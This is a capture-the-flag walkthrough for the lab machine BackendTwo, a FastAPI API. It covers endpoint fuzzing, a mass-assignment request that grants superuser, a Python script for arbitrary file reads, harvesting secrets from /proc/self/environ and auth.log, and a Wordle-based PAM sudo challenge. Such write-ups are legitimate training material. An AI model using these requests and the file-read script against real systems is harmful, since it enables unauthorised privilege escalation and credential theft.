Backendtwo
Overview
BackendTwo is a FastAPI REST API machine. Initial enumeration discovers API endpoints via the /api/v1 route listing. Username enumeration leads to account registration and authentication. A mass assignment vulnerability in the profile edit endpoint elevates our user to superuser, enabling a file read endpoint (LFI) to exfiltrate the application source code. Reading /proc/self/environ reveals an API key, and reviewing the source code shows that modifying the JWT debug field enables file write. An SSH password is found in auth.log. Privilege escalation is blocked by a custom PAM Wordle challenge - solving it enables sudo.
Recon
Nmap
sudo nmap -sC -sV -vv -oA tcp 10.129.227.139 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.227.139Port 80 returns a JSON message indicating an API:
Directory Bruteforce
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
-u http://10.129.227.139/FUZZ -icThe /docs endpoint requires authentication. The /api endpoint lists sub-routes:
Endpoint Enumeration
Further enumeration of the API routes:
The user endpoint appears to respond differently based on the input - possible username enumeration:
Fuzz the User Endpoint
The user endpoint only accepts POST requests. Fuzz for user-related actions using ffuf - match all status codes and filter only 405 (Method Not Allowed) to find valid paths:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt \
-u http://10.129.227.139/api/v1/user/FUZZ -ic -X POST \
-H "Content-Type : application/json" -d '{}' -fc 405 -mc allA signup or register endpoint is found - create an account:
Foothold
Login and JWT
Authenticate to get a JWT token:
POST /api/v1/user/login HTTP/1.1
Host: 10.129.227.139
Content-Type: application/x-www-form-urlencoded
[email protected]&password=testAccessing Docs
Add the JWT as a Bearer token header in Burp's proxy match-and-replace:
Now navigate the Swagger/ReDoc documentation interface:
Mass Assignment - Self-Privilege Escalation
The profile edit endpoint accepts a JSON body. Test including is_superuser: true - the API does not validate that users cannot set their own privilege level:
PUT /api/v1/user/12/edit HTTP/1.1
Host: 10.129.227.139
Authorization: Bearer <JWT>
Content-Type: application/json
{
"profile": "string",
"is_superuser": true
}File Read via Admin Endpoint
As superuser, the /api/v1/admin/file/{file_name} endpoint is accessible. The filename is base64-encoded:
Automate file reads with a Python script:
import requests
import base64
import json
import os
filename = input("Filename: ")
fname = base64.b64encode(filename.encode("UTF-8")).decode("UTF-8")
while True:
burp0_url = f"http://10.129.227.139:80/api/v1/admin/file/{fname}"
burp0_headers = {"Authorization": "Bearer <JWT>", ...}
re = requests.get(burp0_url, headers=burp0_headers)
if re.ok:
d = json.loads(re.text)
fn = os.path.basename(filename)
with open(fn, 'w') as f:
f.write(d['file'])
filename = input("Filename: ")
if filename == "exit":
break
fname = base64.b64encode(filename.encode("UTF-8")).decode("UTF-8")Read /proc/self/environ to find the application path and an API key:
Read the main application file /home/htb/app/main.py for code review:
JWT Debug Mode - File Write
Reading the admin router source code reveals a debug field in the JWT payload that enables file write:
After multiple attempts at writing webshell files, check application logs for leaked credentials. Reading auth.log reveals a password that was typed into the username field:
SSH as htb with the discovered password.
Privilege Escalation
pam-wordle - Custom PAM Challenge
Running sudo -l presents an unusual challenge:
The system uses a custom PAM module - pam-wordle - that requires solving a Wordle game as a second authentication factor for sudo.
Copy the words file locally and brute-force the answer through manual testing:
Solve the Wordle challenge to unlock sudo and escalate to root.
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | API endpoint enumeration | Registration endpoint |
| Account creation | API signup | Authenticated user |
| Privesc (app) | Mass assignment is_superuser | Superuser JWT |
| LFI | Admin file read (base64) | Source code + API key + auth.log |
| Credential | auth.log password leak | SSH as htb |
| Privesc (OS) | pam-wordle Wordle solve | Sudo access |

